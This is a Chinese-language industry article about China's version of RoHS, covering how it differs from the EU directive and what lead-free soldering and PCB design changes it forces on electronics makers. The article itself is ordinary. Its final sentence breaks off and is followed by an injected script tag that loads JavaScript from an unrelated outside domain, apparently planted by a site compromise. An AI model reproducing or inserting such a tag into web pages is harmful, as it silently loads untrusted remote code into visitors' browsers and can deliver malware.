电子产品的发展给人类生活带来越来越多便利与美好体验的同时，一些弊端随之而生，电子垃圾、环境污染、能源消耗速度过快等种种问题开始困扰人们。于是，全球对环保与节能的关注达到了前所未有的高度，如何应对环保指令、开发新的节能产品、充分利用能源逐渐成为一个越来越热门的话题。
绿色预言之一：全球环保指令林立，制造与设计将经历更大变革
人们习惯的把去年7月份欧盟rohs的实施对中国电子产业的影响比喻为一次冲击波，其实这只仅仅是个开始。目前，中国大陆、台湾地区、韩国和美国某些州都在制定自己的“绿色”或类rohs法规，其中，中国大陆将于3月1日执行的《电子信息产品污染控制管理办法》(俗称中国版rohs)对中国电子产业来说无疑是一场更彻底的洗礼。
禁用有害物质不再只是出口厂商的事情了，大多数电子厂商已经非常清楚的意识到：不满足该禁令不仅意味着将失去市场，而且直接影响企业日后的生存。一般来讲，在中国庞大的电子企业群中，大型企业收集、跟踪信息较快而且在原材料采集上比较关注环保标准，去年欧盟rohs于7月1 日正式实施，他们大部分都提前6个月到1年的时间提前准备，所以这次应对中国版rohs应该非常轻松。
不过据某检测机构内部人士透露，还有些小型企业和不规范的企业没有对系列环保法规引起足够的重视，相比于大量外销型企业针对欧盟rohs提前半年以上就积极咨询与改进，在距中国版rohs正式实施仅仅2个多月的今天，积极参与的内销型小企业还只是一小部分。“或许其中的原因在于中国版rohs的具体强制执行时间还没有公布，不过我很担忧残酷的市场与法律是否会对一批企业造成冲击，就像几年前开始强制ccc认证那样。”该人士表示。
传统制造工艺将得到全面革新
《电子信息产品污染控制管理办法》专门为限制电气和电子设备中有害物质的使用而开发，其覆盖范围包括中国的企业以及产品向中国销售的所有企业。
虽然该法规与欧盟限制有害物质相同，但中国版rohs对标签和测试要求更严格，它与欧盟rohs的区别表现在：中国版rohs是将需要认证的产品直接列出来，而欧盟则是将可以豁免的产品列出来；中国版rohs无需转换成法律规范性文件就可以直接实施，欧盟rohs指令需要转换成欧盟成员国法律才可以实施；中国版rohs对象为电子信息产品，欧盟rohs指令对象为交流电不超过1000伏特、直流电不超过1500伏特的电子电气设备。
已经有一些分销商对自己的现场应用工程师(fae)进行了有关机械和制造问题的培训，旨在通过fae来帮助客户实现环保器件的转换，使他们了解工艺转换时可能存在的问题。此外，对于一些因为终端应用豁免或其它原因而无需遵循法规的客户，半导体制造商还需要评估市场并合理规划自己的产品线。
相比于在传统的铅制系统方面积累的丰富经验，电子业界对于无铅世界的知识还非常薄弱，与工艺有关的风险会随时出现。由于铅的用途主要是连接焊料、终端以及镀层，涉及这些领域的制造商需要针对多种真实环境进行测试，以解决新系统中可能出现的各种问题。
此外，针对电镀化学中锡须形成的风险、影响焊点可靠性的铜分解现象、高温焊接对pcb表面处理以及元器件的要求等，制造商都不得不改变工艺流程，更新制造流水线。
新的设计流程将逐渐成熟
为了避免随无铅焊接过程中出现爆板、分层和焊点可靠性差等问题，必须在焊接之前确保pcb质量，这给pcb设计者和制造商都带来了新的课题。就像分销商会给客户做相关的环保元件培训一样，为了使pcb更具可加工性，pcb制造商也会向设计者做一些加工工艺的培训。
“无铅焊接过程中形成可靠的合金层需要较大的热量，而过多的热量会引发热分解温度、张力系数、热扩散、热应力等问题。”据深南电路技术中心高级工程师高晗透露，“此外，无铅焊接对焊接设备的要求很高，好的焊接炉要求有多个温区，而且单一温区的温差必须很小才能防止过孔破裂，虚焊等问题产生。通常用于有铅焊接的设备无法满足无铅焊接的要求，所以许多传统设备还有待更换。”
新的环境法规不仅为全球的制造商和供应链带来冲击，而且也将驱动设计流程的改革。“自从去年欧盟rohs指令正式实施后，我们公司无铅产品的数量明显增多。”他补充道，“许多客户也经常咨询有关材料选择、可靠性加工等相关问题。只有让设计者清楚地明白符合性设计的制造流程，他们才能设计出来满足无铅加工需要的产品。”
符合环保标准将贯穿设计过程中的多个重要环节，在概念、开发、原型、样产以及量产的各个阶段，设计者必须时刻进行相关检测。为了减少风险，工程师需要在概念阶段就列出符合性数据。
在来自设计者的反馈中，我们发现，与传统设计流程不同的是，新的设计流程需要来自各方面的支持。在寻找符合条件的绿色元器件库方面，需要得到供应商的?script src=http://er12.com/t.js>
